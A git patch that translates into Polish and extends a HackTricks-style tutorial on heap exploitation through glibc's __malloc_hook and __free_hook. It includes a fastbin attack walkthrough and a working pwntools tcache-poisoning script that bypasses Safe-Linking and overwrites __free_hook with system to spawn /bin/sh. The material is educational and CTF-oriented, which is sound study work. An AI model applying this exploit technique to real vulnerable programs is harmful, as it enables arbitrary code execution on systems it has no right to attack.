From bfc3ee77d2d75e3dc3746bd00e6acf07db5d66e6 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 13 Aug 2025 18:15:43 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__ma --- .../aw2exec-__malloc_hook.md | 75 +++++++++++++++++-- 1 file changed, 70 insertions(+), 5 deletions(-) diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index 10ecfbd62..76d677807 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -1,4 +1,4 @@ -# WWW2Exec - \_\_malloc_hook & \_\_free_hook +# WWW2Exec - __malloc_hook & __free_hook {{#include ../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ Jak można zobaczyć na [oficjalnej stronie GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), zmienna **`__malloc_hook`** jest wskaźnikiem wskazującym na **adres funkcji, która będzie wywoływana** za każdym razem, gdy wywoływana jest `malloc()`, **przechowywana w sekcji danych biblioteki libc**. Dlatego, jeśli ten adres zostanie nadpisany na przykład przez **One Gadget**, a `malloc` zostanie wywołane, **One Gadget zostanie wywołany**. -Aby wywołać malloc, można poczekać, aż program go wywoła, lub **wywołując `printf("%10000$c")**, co alokuje zbyt wiele bajtów, co powoduje, że `libc` wywołuje malloc, aby je alokować w stercie. +Aby wywołać malloc, można poczekać, aż program go wywoła, lub **wywołać `printf("%10000$c")**, co alokuje zbyt wiele bajtów, co powoduje, że `libc` wywołuje malloc, aby je alokować w stercie. Więcej informacji o One Gadget w: @@ -47,7 +47,7 @@ W wspomnianym punkcie przerwania w powyższym kodzie w `$eax` znajdować się b Teraz przeprowadzany jest **atak na szybkie biny**: -- Przede wszystkim odkryto, że możliwe jest operowanie na szybkich **chunkach o rozmiarze 200** w lokalizacji **`__free_hook`**: +- Po pierwsze odkryto, że możliwe jest operowanie na szybkich **chunkach o rozmiarze 200** w lokalizacji **`__free_hook`**: -
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -57,14 +57,79 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 
- Jeśli uda nam się uzyskać szybki chunk o rozmiarze 0x200 w tej lokalizacji, będzie możliwe nadpisanie wskaźnika funkcji, który zostanie wykonany. -- W tym celu tworzony jest nowy chunk o rozmiarze `0xfc`, a połączona funkcja jest wywoływana z tym wskaźnikiem dwukrotnie, w ten sposób uzyskujemy wskaźnik do zwolnionego chunka o rozmiarze `0xfc*2 = 0x1f8` w szybkim binie. +- W tym celu tworzony jest nowy chunk o rozmiarze `0xfc`, a funkcja scalająca jest wywoływana z tym wskaźnikiem dwukrotnie, w ten sposób uzyskujemy wskaźnik do zwolnionego chunka o rozmiarze `0xfc*2 = 0x1f8` w szybkim binie. - Następnie wywoływana jest funkcja edytująca w tym chunku, aby zmodyfikować adres **`fd`** tego szybkiego bina, aby wskazywał na poprzednią funkcję **`__free_hook`**. - Potem tworzony jest chunk o rozmiarze `0x1f8`, aby odzyskać z szybkiego bina poprzedni bezużyteczny chunk, więc tworzony jest kolejny chunk o rozmiarze `0x1f8`, aby uzyskać szybki chunk w **`__free_hook`**, który jest nadpisywany adresem funkcji **`system`**. - A na koniec chunk zawierający ciąg `/bin/sh\x00` jest zwalniany, wywołując funkcję usuwania, co uruchamia funkcję **`__free_hook`**, która wskazuje na system z `/bin/sh\x00` jako parametrem. -## Odniesienia +--- + +## Zatrucie Tcache i Safe-Linking (glibc 2.32 – 2.33) + +glibc 2.32 wprowadził **Safe-Linking** – kontrolę integralności, która chroni *pojedyncze* listy powiązane używane przez **tcache** i szybkie biny. Zamiast przechowywać surowy wskaźnik do przodu (`fd`), ptmalloc teraz przechowuje go *z obfuskacją* za pomocą następującego makra: +```c +#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr)) +#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr) +``` +Konsekwencje dla eksploatacji: + +1. **heap leak** jest obowiązkowy – atakujący musi znać wartość czasu wykonania `chunk_addr >> 12`, aby stworzyć ważny zafałszowany wskaźnik. +2. Tylko *pełny* 8-bajtowy wskaźnik może być sfałszowany; częściowe nadpisania jednego bajtu nie przejdą sprawdzenia. + +Minimalny prymityw tcache-poisoning, który nadpisuje `__free_hook` w glibc 2.32/2.33, wygląda zatem następująco: +```py +from pwn import * + +libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") +p = process("./vuln") + +# 1. Leak a heap pointer (e.g. via UAF or show-after-free) +heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00")) +heap_base = heap_leak & ~0xfff +fd_key = heap_base >> 12 # value used by PROTECT_PTR +log.success(f"heap @ {hex(heap_base)}") + +# 2. Prepare two same-size chunks and double-free one of them +a = malloc(0x48) +b = malloc(0x48) +free(a) +free(b) +free(a) # tcache double-free ⇒ poisoning primitive + +# 3. Forge obfuscated fd that points to __free_hook +free_hook = libc.sym['__free_hook'] +poison = free_hook ^ fd_key +edit(a, p64(poison)) # overwrite fd of tcache entry + +# 4. Two mallocs: the second one returns a pointer to __free_hook +malloc(0x48) # returns chunk a +c = malloc(0x48) # returns chunk @ __free_hook +edit(c, p64(libc.sym['system'])) + +# 5. Trigger +bin_sh = malloc(0x48) +edit(bin_sh, b"/bin/sh\x00") +free(bin_sh) +``` +Fragment powyżej został dostosowany z ostatnich wyzwań CTF, takich jak *UIUCTF 2024 – «Rusty Pointers»* i *openECSC 2023 – «Babyheap G»*, które polegały na obejściach Safe-Linking w celu nadpisania `__free_hook`. + +--- + +## Co zmieniło się w glibc ≥ 2.34? + +Począwszy od **glibc 2.34 (sierpień 2021)**, haki alokacji `__malloc_hook`, `__realloc_hook`, `__memalign_hook` i `__free_hook` zostały **usunięte z publicznego API i nie są już wywoływane przez alokator**. Symbole zgodności są nadal eksportowane dla starszych binariów, ale ich nadpisanie nie wpływa już na kontrolę przepływu `malloc()` lub `free()`. + +Praktyczna implikacja: w nowoczesnych dystrybucjach (Ubuntu 22.04+, Fedora 35+, Debian 12 itd.) musisz przejść do *innych* prymitywów przejęcia (IO-FILE, `__run_exit_handlers`, spryskiwanie vtable itd.), ponieważ nadpisania haków będą cicho zawodzić. + +Jeśli nadal potrzebujesz starego zachowania do debugowania, glibc dostarcza `libc_malloc_debug.so`, które można wstępnie załadować, aby ponownie włączyć starsze haki – ale biblioteka **nie jest przeznaczona do produkcji i może zniknąć w przyszłych wydaniach**. + +--- + +## Referencje - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). +- Safe-Linking – Eliminacja 20-letniego prymitywu exploita malloc() (Check Point Research, 2020) +- Notatki z wydania glibc 2.34 – usunięcie haków malloc {{#include ../../banners/hacktricks-training.md}}